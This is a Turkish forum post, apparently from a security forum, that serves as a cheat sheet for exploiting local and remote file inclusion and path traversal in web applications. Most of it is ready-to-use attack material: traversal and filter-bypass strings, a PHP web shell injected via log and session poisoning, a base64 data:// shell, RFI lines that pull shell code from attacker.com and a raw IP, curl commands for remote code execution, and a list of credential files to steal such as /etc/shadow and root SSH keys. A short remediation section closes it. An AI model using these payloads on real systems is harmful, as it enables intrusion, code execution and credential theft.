Hoşgeldin Misafir

File Inclusion (LFI / RFI) ve Path Traversal

Conrado Sol

29 Nis 2026
91 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Bugün sizlerle Path Traversal konusunu inceleyeceğiz.

Sunucu tarafında dosya yollarının ve dinamik dahil etme fonksiyonlarının denetlenmemesi sonucu ortaya çıkan erişim ve kod yürütme zafiyetleri.

1. Temel Mantık: Path Traversal vs. LFI​

Uygulama, file gibi bir parametreyi sunucu tarafında dosya okumak veya dahil etmek (include/require) için kullanıyorsa kontrolsüz girdi bu iki farklı zafiyete yol açar:

Path Traversal (Dizin Gezinimi)​

Uygulama parametreyi doğrudan dosya sistemi okuma fonksiyonlarına iletir. ../ karakterleri ile web kök dizini (web root) dışına çıkılır.

Sonuç: Hedef dosya sunucu tarafından çalıştırılmaz; yalnızca düz metin olarak okunur veya indirilir (Kaynak kodlar, konfigürasyon dosyaları, sistem listeleri).

Local File Inclusion (LFI)​

Uygulama hedef dosyayı yalnızca okumakla kalmaz; programlama dili çalışma zamanına dahil ederek kod olarak derler ve çalıştırır.

Sonuç: Hedef dosyanın uzantısı ne olursa olsun (.txt, .log, .jpg) içindeki scr*pt blokları sunucuda yürütülür ve Uzaktan Kod Çalıştırma (RCE) sağlar.

2. LFI - Hızlı Tespit & PoC Akışı​

  • Hızlı Tespit: ?file=userCV.pdf → ?file=../../../../etc/passwd şeklinde üst dizinlere çıkarak dene.
  • PoC İstek: GET /get.php?file=../../../../etc/passwd → root:x:0:0... satırları dönüyorsa LFI/Traversal doğrulanmıştır.
  • Log Poisoning ile RCE:Web sunucusu erişim/hata loglarına payload yazıp LFI ile include ederek kod çalıştır:
1) User-Agent başlığına veya URL'e zararlı PHP enjekte et: <?php system($_GET['cmd']); ?>
2) LFI parametresiyle log dosyasını çağır: ?file=/var/log/apache2/access.log&cmd=id

3. RFI - Hızlı Tespit & Koşullar​

  • Tespit: ?file=http://attacker.com/sh*ll.txt → Sunucu uzaktaki dosyayı include edip çalıştırıyor mu kontrol et.
  • Gereksinim: PHP için allow_url_include = On yapılandırmasının açık olması gerekir (Modern sürümlerde varsayılan kapalıdır; kapalıysa RFI çalışmaz, LFI denenmelidir).

​

4. Path Traversal & Bypass Teknikleri​

  • Basit Traversal: ../../../../etc/passwd veya doğrudan kök dizin: /etc/passwd
  • Encoding: ..%2f..%2f..%2fetc/passwd veya double-encode: ..%252f..%252f..%252fetc/passwd
  • Filtre Silme Baypası (Non-recursive strip): ....//....//etc/passwd (Sunucu ../ sildiğinde aradaki karakterler tekrar ../ oluşturur).
  • Null Byte (Eski PHP sürümlerinde): ../../../../etc/passwd%00
  • Null Byte + Uzantı Filtresi Bypass:/image?filename=../../../../etc/passwd%00.jpg
  • .jpg kısmı: Uygulama "sadece .jpg dosyalarını aç" filtresi uyguluyorsa, sona .jpg eklenerek kontrol atlatılır.
  • %00 (Null Byte) kısmı: Dize sonu (string terminator) karakteridir. Sunucu dosya sistemine giderken %00'ı gördüğü yerde okumayı bitirir; .jpg kısmı yok sayılır ve /etc/passwd okunur.
  • Path Truncation: ../../etc/passwd/./././... (4096 baytı aşan yollarda dosya sistemi yolu keserek uzantıyı göz ardı eder).

​

5. Önemli PHP Wrapper & Sömürü Teknikleri​

  • Kaynak Kod Okuma (php://filter):pHP dosyaları normal include edildiğinde çalıştırılır, kodları görünmez. Base64 formatında okumak için: php://filter/convert.base64-encode/resource=index.php
  • Doğrudan Kod Yürütme (data:// ve php://input):allow_url_include açıksa harici dosya gerekmeden POST gövdesinden kod çalıştırma:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
# veya
php://input (POST Body: <?php system('id'); ?>)
  • Session Poisoning:Oturum çerezi veya profil verisi içine PHP kodu yazıp session dosyasını LFI ile çağırma:
  • ?file=/var/lib/php/sessions/sess_[SESSION_ID]&cmd=id
  • File Upload Noktaları: Profil resmi gibi zararsız görünen bir upload alanına PHP kodu gömüp, ardından bu dosyanın kaydedildiği yolu LFI ile include ederek çalıştırma.

6. Kritik Dosyalar Referans Listesi​

Linux Hedefleri​

  • /etc/passwd (Kullanıcı listesi)
  • /etc/shadow (Parola hash'leri - root yetkisi gerekir)
  • /etc/hosts & /proc/net/arp (İç ağ haritası)
  • /proc/self/environ (Ortam değişkenleri)
  • /root/.ssh/id_rsa (SSH private key)
  • /root/.bash_history (Komut geçmişi)
  • /var/log/apache2/access.log (Apache erişim logları)
  • /var/log/nginx/access.log (Nginx logları)

Windows Hedefleri​

  • C:\Windows\win.ini (Temel doğrulama dosyası)
  • C:\boot.ini (Önyükleme yapılandırması)
  • C:\Windows\System32\drivers\etc\hosts (Host kayıtları)
  • C:\inetpub\logs\LogFiles\ (IIS logları)
  • C:\xampp\apache\logs\access.log (XAMPP logları)

7. PoC Örnekleri (Komut Satırı & İstekler)​

Basit LFI: GET /get.php?file=../../../../etc/passwd

Log Poisoning → RCE Örnek Akış:
1. Adım: User-Agent başlığı ile loga PHP kodu yaz (curl): curl -H "User-Agent: <?php system($_GET['cmd']); ?>" http://target.com/

2. Adım: Log dosyasını LFI ile include edip komut çalıştır:curl "http://target.com/index.php?file=/var/log/apache2/access.log&cmd=whoami"

RFI PoC: http://target.com/index.php?file=http://10.10.145.212:8000/cmd.txt
Flag/Veri Okuma: curl ile POST istekleri veya null-byte/double-encode varyasyonları denenerek kısıtlı alanlar okunabilir.

8. Savunma ve Doğru Yapılandırma (Remediation)​

1. Beyaz Liste (Allowlist) Doğrulaması: Kullanıcıdan dosya adı almak yerine yalnızca önceden tanımlanmış sabit bir liste (indeks eşlemesi) üzerinden dosya çağrılmalıdır:
$allowed_files = ['home.php', 'about.php', 'contact.php'];
if (!in_array($_GET['page'], $allowed_files, true)) { die('Geçersiz sayfa'); }

2. Dizin Yolu Doğrulaması (Path Normalization): Dosya yolu okunmadan önce çözümlenmeli ve hedeflenen kök dizinin dışına çıkmadığı doğrulanmalıdır:
$path = realpath($base_dir . '/' . $_GET['file']);
if ($path === false || strpos($path, $base_dir) !== 0) { die('Erişim reddedildi'); }


3. PHP Güvenlik Yönergeleri: Sunucu yapılandırmasında harici dosya dahil etme özellikleri kapatılmalıdır:
allow_url_fopen = Off
allow_url_include = Off

4. En Az Yetki Prensibi: Web sunucusu kullanıcısının (örn: www-data) işletim sistemindeki dosya okuma izinleri sıkılaştırılmalı; sistem loglarına ve yapılandırma dizinlerine okuma erişimi kısıtlanmalıdır.